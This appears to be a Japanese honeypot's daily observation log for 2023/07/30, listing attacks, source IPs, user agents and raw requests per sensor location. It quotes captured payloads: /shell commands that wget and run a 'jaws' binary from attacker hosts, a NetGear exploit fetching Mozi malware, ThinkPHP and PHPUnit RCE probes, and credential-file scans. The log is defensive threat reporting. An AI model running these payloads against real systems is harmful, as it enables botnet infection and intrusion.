ハニーポット(仮) 観測記録 2023/07/30分です。
特徴
共通
Spring Bootの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為
Location:JP
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 37.44.238.203/nekoY/jaws; sh /tmp/jaws
Location:US
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
aiohttpによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 212.8.251.176/jaws; sh /tmp/jaws
Location:UK
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
aiohttpによるスキャン行為
.jsへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
phpMyAdminへのスキャン行為
Gh0stRATのような動き
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget testbots.maizhangyu.top/jaws; sh /tmp/jaws
Location:SG
Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
/.gitへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
UserAgentがHello, worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws
他
アクセス数推移
JP：総アクセス数：343 (前日比：191)
US：総アクセス数：66 (前日比：-72)
UK：総アクセス数：79 (前日比：-74)
SG：総アクセス数：85 (前日比：-1)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 20.98.46.136 | United States |
| 2 | 20.172.37.23 | United States |
| 3 | 34.216.222.128 | United States |
| 15 | 43.154.141.71 | Singapore |
| 1 | 44.210.244.30 | United States |
| 1 | 45.56.108.128 | United States |
| 265 | 52.24.14.151 | United States |
| 1 | 58.21.198.66 | China |
| 1 | 64.62.197.55 | United States |
| 5 | 68.183.178.205 | United States |
| 1 | 71.6.134.234 | United States |
| 1 | 103.89.91.69 | Vietnam |
| 1 | 104.192.0.50 | United States |
| 2 | 109.237.98.226 | Russia |
| 1 | 117.255.29.226 | India |
| 12 | 135.125.217.54 | France |
| 4 | 135.125.244.48 | France |
| 3 | 161.35.192.36 | United States |
| 1 | 162.243.129.9 | United States |
| 1 | 162.243.140.17 | United States |
| 1 | 165.227.47.214 | United States |
| 1 | 167.94.138.36 | United States |
| 1 | 170.64.176.250 | United States |
| 1 | 172.104.11.34 | United States |
| 3 | 185.254.196.173 | Ukraine |
| 4 | 185.254.196.186 | Ukraine |
| 1 | 198.235.24.131 | United States |
| 1 | 205.210.31.98 | United States |
| 1 | 206.189.29.4 | United States |
| 3 | 206.189.50.222 | United States |
| 1 | 209.141.36.112 | United States |
| 2 | 216.218.206.67 | United States |
| 1 | 219.156.98.24 | China |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 12 | - |
| 1 | Go-http-client/1.1 |
| 1 | Hello, World |
| 1 | Hello, world |
| 1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 |
| 15 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 |
| 8 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 |
| 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0 |
| 296 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 zgrab/0.x |
| 1 | Mozilla/5.0 |
| 1 | python-requests/2.25.1 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 1 | MGLNDD_18.179.20.5_80\n |
||
| 1 | \x16\x03\x01\x01H\x01 |
||
| 1 | \x16\x03\x01\x01\xfa\x01 |
||
| 8 | \x16\x03\x01 |
||
| 1 | GET | /.aws/credentials.js |
HTTP/1.1 |
| 1 | GET | /.aws/credentials.py |
HTTP/1.1 |
| 1 | GET | /.aws/credentials |
HTTP/1.1 |
| 1 | GET | /.cc-ban.txt.bak |
HTTP/1.1 |
| 1 | GET | /.cc-ban.txt |
HTTP/1.1 |
| 29 | GET | /.env |
HTTP/1.1 |
| 2 | GET | /.git/config |
HTTP/1.1 |
| 1 | GET | /.hg_archival.txt |
HTTP/1.1 |
| 1 | GET | /.ht_wsr.txt |
HTTP/1.1 |
| 1 | GET | /.htaccess.txt |
HTTP/1.1 |
| 1 | GET | /.log.txt |
HTTP/1.1 |
| 1 | GET | /.mysql.txt |
HTTP/1.1 |
| 1 | GET | /.pgsql.txt |
HTTP/1.1 |
| 1 | GET | /.robots.txt |
HTTP/1.1 |
| 1 | GET | /.txt |
HTTP/1.1 |
| 1 | GET | /.well-known/dnt-policy.txt |
HTTP/1.1 |
| 1 | GET | /.well-known/keybase.txt |
HTTP/1.1 |
| 1 | GET | /.well-known/security.txt |
HTTP/1.1 |
| 1 | GET | /1.php |
HTTP/1.1 |
| 1 | GET | /1.txt |
HTTP/1.1 |
| 1 | GET | /123.txt |
HTTP/1.1 |
| 1 | GET | /2.txt |
HTTP/1.1 |
| 1 | GET | /CHANGELOG.TXT |
HTTP/1.1 |
| 1 | GET | /CHANGELOG.txt |
HTTP/1.1 |
| 1 | GET | /CMakeCache.txt |
HTTP/1.1 |
| 1 | GET | /CMakeLists.txt.user |
HTTP/1.1 |
| 1 | GET | /CMakeLists.txt |
HTTP/1.1 |
| 1 | GET | /COPYRIGHT.txt |
HTTP/1.1 |
| 1 | GET | /ChangeLog.txt |
HTTP/1.1 |
| 1 | GET | /Changelog.txt |
HTTP/1.1 |
| 1 | GET | /Download.py |
HTTP/1.1 |
| 1 | GET | /HISTORY.txt |
HTTP/1.1 |
| 1 | GET | /INSTALL.TXT |
HTTP/1.1 |
| 1 | GET | /INSTALL.mysql.txt |
HTTP/1.1 |
| 1 | GET | /INSTALL.pgsql.txt |
HTTP/1.1 |
| 1 | GET | /INSTALL.txt |
HTTP/1.1 |
| 1 | GET | /Install.txt |
HTTP/1.1 |
| 1 | GET | /Install_dotCMS_Release.txt |
HTTP/1.1 |
| 1 | GET | /LICENSE.txt |
HTTP/1.1 |
| 1 | GET | /MAINTAINERS.txt |
HTTP/1.1 |
| 1 | GET | /README.TXT |
HTTP/1.1 |
| 1 | GET | /README.txt |
HTTP/1.1 |
| 1 | GET | /RELEASE_NOTES.txt |
HTTP/1.1 |
| 1 | GET | /ReadMe.txt |
HTTP/1.1 |
| 1 | GET | /Read_Me.txt |
HTTP/1.1 |
| 1 | GET | /Readme.txt |
HTTP/1.1 |
| 1 | GET | /STATUS.txt |
HTTP/1.1 |
| 1 | GET | /UPDATE.txt |
HTTP/1.1 |
| 1 | GET | /UPGRADE.txt |
HTTP/1.1 |
| 1 | GET | /UPGRADE_README.txt |
HTTP/1.1 |
| 1 | GET | /Updates.txt |
HTTP/1.1 |
| 1 | GET | /VERSION.txt |
HTTP/1.1 |
| 1 | GET | /VERSIONS.txt |
HTTP/1.1 |
| 1 | GET | /_docs.en/readme.txt |
HTTP/1.1 |
| 1 | GET | /_pkginfo.txt |
HTTP/1.1 |
| 1 | GET | /_profiler/phpinfo |
HTTP/1.1 |
| 1 | GET | /access.txt |
HTTP/1.1 |
| 1 | GET | /access_key.py |
HTTP/1.1 |
| 1 | GET | /accounts.txt |
HTTP/1.1 |
| 1 | GET | /actuator/health |
HTTP/1.1 |
| 1 | GET | /admin/_logs/login.txt |
HTTP/1.1 |
| 1 | GET | /admin/access.txt |
HTTP/1.1 |
| 1 | GET | /admin/error.txt |
HTTP/1.1 |
| 1 | GET | /admin/logs/login.txt |
HTTP/1.1 |
| 1 | GET | /admin/pol_log.txt |
HTTP/1.1 |
| 1 | GET | /admin/user_count.txt |
HTTP/1.1 |
| 1 | GET | /admin_main.txt |
HTTP/1.1 |
| 1 | GET | /admins/log.txt |
HTTP/1.1 |
| 1 | GET | /agency.js |
HTTP/1.1 |
| 1 | GET | /agency.json |
HTTP/1.1 |
| 1 | GET | /agency.py |
HTTP/1.1 |
| 1 | GET | /amazon.py |
HTTP/1.1 |
| 1 | GET | /amazon.txt |
HTTP/1.1 |
| 1 | GET | /api/.env |
HTTP/1.1 |
| 1 | GET | /application.py.js |
HTTP/1.1 |
| 1 | GET | /application.py |
HTTP/1.1 |
| 1 | GET | /auth_user_file.txt |
HTTP/1.1 |
| 1 | GET | /authentication.py |
HTTP/1.1 |
| 1 | GET | /base.py |
HTTP/1.1 |
| 1 | GET | /bot.txt |
HTTP/1.1 |
| 1 | GET | /bundle.js |
HTTP/1.1 |
| 1 | GET | /cc-errors.txt |
HTTP/1.1 |
| 1 | GET | /cc-log.txt |
HTTP/1.1 |
| 1 | GET | /changelog.txt |
HTTP/1.1 |
| 1 | GET | /changes.txt |
HTTP/1.1 |
| 1 | GET | /checked_accounts.txt |
HTTP/1.1 |
| 1 | GET | /cidr.txt |
HTTP/1.1 |
| 1 | GET | /class.py |
HTTP/1.1 |
| 1 | GET | /classes/cookie.txt |
HTTP/1.1 |
| 1 | GET | /classes/gladius/README.TXT |
HTTP/1.1 |
| 1 | GET | /client.py |
HTTP/1.1 |
| 1 | GET | /client/get_targets |
HTTP/1.1 |
| 1 | GET | /cloud-config.txt |
HTTP/1.1 |
| 1 | GET | /cluster.py |
HTTP/1.1 |
| 1 | GET | /component.json |
HTTP/1.1 |
| 1 | GET | /component.py |
HTTP/1.1 |
| 1 | GET | /component.yml |
HTTP/1.1 |
| 1 | GET | /concrete/config/banned_words.txt |
HTTP/1.1 |
| 1 | GET | /config.cfg |
HTTP/1.1 |
| 1 | GET | /config.inc.php.txt |
HTTP/1.1 |
| 1 | GET | /config.inc.txt |
HTTP/1.1 |
| 1 | GET | /config.ini.txt |
HTTP/1.1 |
| 1 | GET | /config.php.txt |
HTTP/1.1 |
| 1 | GET | /config.txt |
HTTP/1.1 |
| 1 | GET | /config/banned_words.txt |
HTTP/1.1 |
| 1 | GET | /configuration.php.txt |
HTTP/1.1 |
| 1 | GET | /containers.py |
HTTP/1.1 |
| 1 | GET | /content.py |
HTTP/1.1 |
| 1 | GET | /contributors.txt |
HTTP/1.1 |
| 1 | GET | /controller.py |
HTTP/1.1 |
| 1 | GET | /core.py |
HTTP/1.1 |
| 1 | GET | /credentials.py |
HTTP/1.1 |
| 1 | GET | /credentials.txt |
HTTP/1.1 |
| 1 | GET | /cronlog.txt |
HTTP/1.1 |
| 1 | GET | /culeadora.txt |
HTTP/1.1 |
| 1 | GET | /customers.txt |
HTTP/1.1 |
| 1 | GET | /dashboard.js |
HTTP/1.1 |
| 1 | GET | /dashboard.json |
HTTP/1.1 |
| 1 | GET | /dashboard.py |
HTTP/1.1 |
| 1 | GET | /data.txt |
HTTP/1.1 |
| 1 | GET | /database.txt |
HTTP/1.1 |
| 1 | GET | /debug-output.txt |
HTTP/1.1 |
| 1 | GET | /debug.txt |
HTTP/1.1 |
| 1 | GET | /deprecation.py |
HTTP/1.1 |
| 1 | GET | /dispatch.js |
HTTP/1.1 |
| 1 | GET | /dispatch.py |
HTTP/1.1 |
| 1 | GET | /docs.py |
HTTP/1.1 |
| 1 | GET | /docs.txt |
HTTP/1.1 |
| 1 | GET | /docs/changelog.txt |
HTTP/1.1 |
| 1 | GET | /docs/maintenance.txt |
HTTP/1.1 |
| 1 | GET | /docs/updating.txt |
HTTP/1.1 |
| 1 | GET | /document.py |
HTTP/1.1 |
| 1 | GET | /download.py |
HTTP/1.1 |
| 1 | GET | /dump.txt |
HTTP/1.1 |
| 1 | GET | /engine/log.txt |
HTTP/1.1 |
| 1 | GET | /env.bak |
HTTP/1.1 |
| 1 | GET | /err.txt |
HTTP/1.1 |
| 1 | GET | /error-log.txt |
HTTP/1.1 |
| 1 | GET | /error.txt |
HTTP/1.1 |
| 1 | GET | /error_log.txt |
HTTP/1.1 |
| 1 | GET | /errors.txt |
HTTP/1.1 |
| 1 | GET | /eula.txt |
HTTP/1.1 |
| 1 | GET | /eula_en.txt |
HTTP/1.1 |
| 1 | GET | /exception.py |
HTTP/1.1 |
| 1 | GET | /external.json |
HTTP/1.1 |
| 1 | GET | /external.py |
HTTP/1.1 |
| 1 | GET | /fantastico_fileslist.txt |
HTTP/1.1 |
| 4 | GET | /favicon.ico |
HTTP/1.1 |
| 3 | GET | /files/ |
HTTP/1.1 |
| 1 | GET | /finance.json |
HTTP/1.1 |
| 1 | GET | /finance.py |
HTTP/1.1 |
| 1 | GET | /flag.txt |
HTTP/1.1 |
| 1 | GET | /ftp.txt |
HTTP/1.1 |
| 1 | GET | /geoip/ |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /github-recovery-codes.txt |
HTTP/1.1 |
| 1 | GET | /gladius/README.TXT |
HTTP/1.1 |
| 1 | GET | /helper.py |
HTTP/1.1 |
| 1 | GET | /history.txt |
HTTP/1.1 |
| 1 | GET | /htaccess.txt |
HTTP/1.1 |
| 1 | GET | /humans.txt |
HTTP/1.1 |
| 1 | GET | /iam.py |
HTTP/1.1 |
| 1 | GET | /info.txt |
HTTP/1.1 |
| 1 | GET | /install-log.txt |
HTTP/1.1 |
| 1 | GET | /install.mysql.txt |
HTTP/1.1 |
| 1 | GET | /install.pgsql.txt |
HTTP/1.1 |
| 1 | GET | /install.txt |
HTTP/1.1 |
| 1 | GET | /install_manifest.txt |
HTTP/1.1 |
| 1 | GET | /installer-log.txt |
HTTP/1.1 |
| 1 | GET | /invoice.py |
HTTP/1.1 |
| 1 | GET | /ip.txt |
HTTP/1.1 |
| 1 | GET | /kernel.py |
HTTP/1.1 |
| 1 | GET | /l0gs.txt |
HTTP/1.1 |
| 1 | GET | /license.txt |
HTTP/1.1 |
| 1 | GET | /local.js |
HTTP/1.1 |
| 1 | GET | /local.py |
HTTP/1.1 |
| 1 | GET | /local_bd_new.txt |
HTTP/1.1 |
| 1 | GET | /local_bd_old.txt |
HTTP/1.1 |
| 1 | GET | /localsettings.php.txt |
HTTP/1.1 |
| 1 | GET | /log.txt |
HTTP/1.1 |
| 1 | GET | /log/log.txt |
HTTP/1.1 |
| 1 | GET | /log_1.txt |
HTTP/1.1 |
| 1 | GET | /log_errors.txt |
HTTP/1.1 |
| 1 | GET | /logexpcus.txt |
HTTP/1.1 |
| 1 | GET | /logfile.txt |
HTTP/1.1 |
| 1 | GET | /logins.txt |
HTTP/1.1 |
| 1 | GET | /logs.txt |
HTTP/1.1 |
| 1 | GET | /maintainers.txt |
HTTP/1.1 |
| 1 | GET | /members.txt |
HTTP/1.1 |
| 1 | GET | /monitor.py |
HTTP/1.1 |
| 1 | GET | /node.js |
HTTP/1.1 |
| 1 | GET | /order.txt |
HTTP/1.1 |
| 1 | GET | /order_add_log.txt |
HTTP/1.1 |
| 1 | GET | /orders.txt |
HTTP/1.1 |
| 1 | GET | /out.txt |
HTTP/1.1 |
| 1 | GET | /output-build.txt |
HTTP/1.1 |
| 1 | GET | /package-lock.json |
HTTP/1.1 |
| 1 | GET | /package.json |
HTTP/1.1 |
| 1 | GET | /parameters.yml |
HTTP/1.1 |
| 1 | GET | /pass.txt |
HTTP/1.1 |
| 1 | GET | /passes.txt |
HTTP/1.1 |
| 1 | GET | /passlist.txt |
HTTP/1.1 |
| 1 | GET | /passwd.txt |
HTTP/1.1 |
| 1 | GET | /password.txt |
HTTP/1.1 |
| 1 | GET | /passwordlist.txt |
HTTP/1.1 |
| 1 | GET | /passwords.txt |
HTTP/1.1 |
| 1 | GET | /personal.txt |
HTTP/1.1 |
| 1 | GET | /php-error.txt |
HTTP/1.1 |
| 1 | GET | /php-errors.txt |
HTTP/1.1 |
| 1 | GET | /php.ini-orig.txt |
HTTP/1.1 |
| 1 | GET | /pip-delete-this-directory.txt |
HTTP/1.1 |
| 1 | GET | /pip-log.txt |
HTTP/1.1 |
| 1 | GET | /policy.py |
HTTP/1.1 |
| 1 | GET | /property.py |
HTTP/1.1 |
| 1 | GET | /provider.py |
HTTP/1.1 |
| 1 | GET | /public_html/robots.txt |
HTTP/1.1 |
| 1 | GET | /pw.txt |
HTTP/1.1 |
| 1 | GET | /pws.txt |
HTTP/1.1 |
| 1 | GET | /readme.txt |
HTTP/1.1 |
| 1 | GET | /reports.py |
HTTP/1.1 |
| 1 | GET | /reports.txt |
HTTP/1.1 |
| 1 | GET | /request.py |
HTTP/1.1 |
| 1 | GET | /requirements.txt |
HTTP/1.1 |
| 1 | GET | /rerun.txt |
HTTP/1.1 |
| 1 | GET | /responses.py |
HTTP/1.1 |
| 1 | GET | /revision.txt |
HTTP/1.1 |
| 1 | GET | /robot.txt |
HTTP/1.1 |
| 1 | GET | /robots.txt.dist |
HTTP/1.1 |
| 1 | GET | /robots.txt |
HTTP/1.1 |
| 1 | GET | /sales.txt |
HTTP/1.1 |
| 1 | GET | /sample.txt |
HTTP/1.1 |
| 1 | GET | /sample.txt~ |
HTTP/1.1 |
| 1 | GET | /schemas.py |
HTTP/1.1 |
| 1 | GET | /security.js |
HTTP/1.1 |
| 1 | GET | /security.py |
HTTP/1.1 |
| 1 | GET | /security.txt |
HTTP/1.1 |
| 1 | GET | /security.yml |
HTTP/1.1 |
| 1 | GET | /sendgrid/.env |
HTTP/1.1 |
| 1 | GET | /services.yml |
HTTP/1.1 |
| 1 | GET | /settings.php.txt |
HTTP/1.1 |
| 1 | GET | /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//219[.]156[.]98[.]24:41396/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 |
HTTP/1.0 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+37[.]44[.]238[.]203/nekoY/jaws;sh+/tmp/jaws |
HTTP/1.1 |
| 1 | GET | /site.txt |
HTTP/1.1 |
| 1 | GET | /sites/README.txt |
HTTP/1.1 |
| 1 | GET | /sites/all/libraries/README.txt |
HTTP/1.1 |
| 1 | GET | /sites/all/modules/README.txt |
HTTP/1.1 |
| 1 | GET | /sites/all/themes/README.txt |
HTTP/1.1 |
| 1 | GET | /spec/examples.txt |
HTTP/1.1 |
| 1 | GET | /sql.txt |
HTTP/1.1 |
| 1 | GET | /storage.py |
HTTP/1.1 |
| 1 | GET | /symfony.js |
HTTP/1.1 |
| 1 | GET | /symfony.py |
HTTP/1.1 |
| 1 | GET | /sysinfo.txt |
HTTP/1.1 |
| 1 | GET | /system/cron/cron.txt |
HTTP/1.1 |
| 1 | GET | /system/error.txt |
HTTP/1.1 |
| 1 | GET | /systembc/password.php |
HTTP/1.0 |
| 1 | GET | /task.py |
HTTP/1.1 |
| 1 | GET | /technico.txt |
HTTP/1.1 |
| 1 | GET | /teknoportal/readme.txt |
HTTP/1.1 |
| 1 | GET | /test.txt |
HTTP/1.1 |
| 1 | GET | /todo.txt |
HTTP/1.1 |
| 1 | GET | /token.py |
HTTP/1.1 |
| 1 | GET | /unattend.txt |
HTTP/1.1 |
| 1 | GET | /upgrade.txt |
HTTP/1.1 |
| 1 | GET | /upl.php |
HTTP/1.1 |
| 1 | GET | /upload/test.txt |
HTTP/1.1 |
| 1 | GET | /user-data.txt.i |
HTTP/1.1 |
| 1 | GET | /user-data.txt |
HTTP/1.1 |
| 1 | GET | /user.txt |
HTTP/1.1 |
| 1 | GET | /usernames.txt |
HTTP/1.1 |
| 1 | GET | /users.txt |
HTTP/1.1 |
| 1 | GET | /v3/time |
HTTP/1.1 |
| 1 | GET | /vendor-data.txt.i |
HTTP/1.1 |
| 1 | GET | /vendor-data.txt |
HTTP/1.1 |
| 1 | GET | /version.txt |
HTTP/1.1 |
| 1 | GET | /view.js |
HTTP/1.1 |
| 1 | GET | /view.py |
HTTP/1.1 |
| 1 | GET | /web.config.txt |
HTTP/1.1 |
| 1 | GET | /wp-config.php.txt |
HTTP/1.1 |
| 1 | GET | /wp-content/uploads/file-manager/log.txt |
HTTP/1.1 |
| 1 | GET | /wwwboard/passwd.txt |
HTTP/1.1 |
| 1 | GET | /~/.aws/credentials |
HTTP/1.1 |
| 15 | HEAD | /Core/Skin/Login.aspx |
HTTP/1.1 |
| 1 | POST | /GponForm/diag_Form?images/ |
HTTP/1.1 |
Location:US
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 20.125.35.127 | United States |
| 2 | 31.172.80.202 | Germany |
| 1 | 45.79.128.205 | United States |
| 1 | 45.79.181.104 | United States |
| 1 | 45.79.181.179 | United States |
| 4 | 45.79.181.251 | United States |
| 1 | 45.227.254.55 | Belize |
| 1 | 64.62.197.29 | United States |
| 1 | 64.62.197.188 | United States |
| 1 | 64.62.197.191 | United States |
| 2 | 66.175.213.4 | United States |
| 1 | 71.6.134.234 | United States |
| 12 | 83.97.73.87 | Germany |
| 1 | 85.208.139.237 | Bulgaria |
| 1 | 92.118.39.83 | Romania |
| 1 | 104.28.194.5 | United States |
| 1 | 106.13.23.40 | China |
| 1 | 107.172.233.136 | United States |
| 2 | 109.237.98.226 | Russia |
| 1 | 117.204.149.154 | India |
| 1 | 118.126.124.10 | China |
| 2 | 134.209.154.236 | United States |
| 1 | 142.93.33.21 | United States |
| 2 | 162.142.125.214 | United States |
| 6 | 164.92.221.165 | United States |
| 1 | 165.227.41.25 | United States |
| 2 | 170.64.176.250 | United States |
| 1 | 172.105.128.11 | United States |
| 1 | 185.170.144.3 | Estonia |
| 1 | 192.155.90.118 | United States |
| 1 | 192.155.90.220 | United States |
| 1 | 198.199.98.118 | United States |
| 1 | 198.235.24.76 | United States |
| 1 | 198.235.24.102 | United States |
| 7 | 206.189.50.222 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 27 | - |
| 1 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 |
| 1 | Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 |
| 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 |
| 11 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 |
| 12 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
| 5 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 1 | Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 |
| 1 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/) |
| 1 | Mozilla/5.0 zgrab/0.x |
| 3 | Mozilla/5.0 |
| 1 | Python/3.6 aiohttp/3.8.3 |
リクエスト内容一覧
| 件数 | Method | Request | Protocol |
|---|---|---|---|
| 2 | \x03 |
||
| 1 | \x16\x03\x01\x01H\x01 |
||
| 1 | \x16\x03\x01\x01\xfb\x01 |
||
| 20 | \x16\x03\x01 |
||
| 6 | GET | /.env |
HTTP/1.1 |
| 1 | GET | /.git/config |
HTTP/1.1 |
| 2 | GET | /1.php |
HTTP/1.1 |
| 1 | GET | /?XDEBUG_SESSION_START=phpstorm |
HTTP/1.1 |
| 1 | GET | /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> |
HTTP/1.1 |
| 1 | GET | /_ignition/execute-solution |
HTTP/1.1 |
| 1 | GET | /actuator/gateway/routes |
HTTP/1.1 |
| 1 | GET | /actuator/health |
HTTP/1.1 |
| 1 | GET | /boaform/admin/formLogin?username=admin&psd=admin |
HTTP/1.0 |
| 4 | GET | /bundle.js |
HTTP/1.1 |
| 1 | GET | /cdn-cgi/trace |
HTTP/1.1 |
| 2 | GET | /client/get_targets |
HTTP/1.1 |
| 1 | GET | /console/ |
HTTP/1.1 |
| 2 | GET | /favicon.ico |
HTTP/1.1 |
| 2 | GET | /files/ |
HTTP/1.1 |
| 1 | GET | /geoip/ |
HTTP/1.1 |
| 1 | GET | /geoserver/web/ |
HTTP/1.1 |
| 1 | GET | /geoserver |
HTTP/1.1 |
| 1 | GET | /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 |
HTTP/1.1 |
| 1 | GET | /info.php |
HTTP/1.1 |
| 1 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 212.8.251.176/jaws;sh+/tmp/jaws |
|
| 1 | GET | /solr/admin/info/system?wt=json |
HTTP/1.1 |
| 2 | GET | /upl.php |
HTTP/1.1 |
| 1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | HEAD | / |
HTTP/1.1 |
| 1 | POST | /Autodiscover/Autodiscover.xml |
HTTP/1.1 |
| 1 | POST | /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh |
HTTP/1.1 |
| 1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
HTTP/1.1 |
| 1 | PRI | * |
HTTP/2.0 |
Location:UK
送信元IPアドレス一覧
| 件数 | 送信元IPアドレス | 国 |
|---|---|---|
| 1 | 5.188.206.213 | Russia |
| 1 | 20.5.41.140 | United States |
| 4 | 31.172.80.202 | Germany |
| 1 | 45.12.253.248 | Bulgaria |
| 1 | 45.33.80.243 | United States |
| 1 | 45.79.128.205 | United States |
| 1 | 45.79.172.21 | United States |
| 1 | 45.79.181.104 | United States |
| 1 | 45.227.254.8 | Belize |
| 3 | 51.79.29.48 | Canada |
| 7 | 54.37.79.75 | France |
| 1 | 62.210.189.15 | France |
| 1 | 65.49.1.73 | United States |
| 1 | 65.49.1.76 | United States |
| 1 | 66.240.192.82 | United States |
| 1 | 66.240.205.34 | United States |
| 1 | 74.82.47.2 | United States |
| 12 | 83.97.73.87 | Germany |
| 2 | 103.73.119.206 | China |
| 3 | 104.171.123.5 | United States |
| 1 | 107.170.243.32 | United States |
| 2 | 109.237.98.226 | Russia |
| 1 | 110.43.84.21 | China |
| 1 | 116.247.78.66 | China |
| 1 | 118.126.124.10 | China |
| 1 | 155.94.151.38 | United States |
| 2 | 157.230.99.127 | United States |
| 1 | 157.230.99.133 | United States |
| 2 | 162.142.125.14 | United States |
| 1 | 162.243.141.30 | United States |
| 1 | 165.22.121.239 | United States |
| 2 | 167.94.138.36 | United States |
| 2 | 167.94.145.56 | United States |
| 2 | 172.104.11.4 | United States |
| 1 | 172.104.11.46 | United States |
| 1 | 172.105.128.11 | United States |
| 1 | 172.105.128.13 | United States |
| 1 | 191.101.217.95 | United States |
| 1 | 192.155.90.118 | United States |
| 2 | 192.155.90.220 | United States |
| 1 | 198.235.24.119 | United States |
| 1 | 201.221.109.243 | Argentina |
| 1 | 205.210.31.136 | United States |
| 4 | 207.90.244.10 | United States |
UserAgent一覧
| 件数 | UserAgent |
|---|---|
| 30 | - |
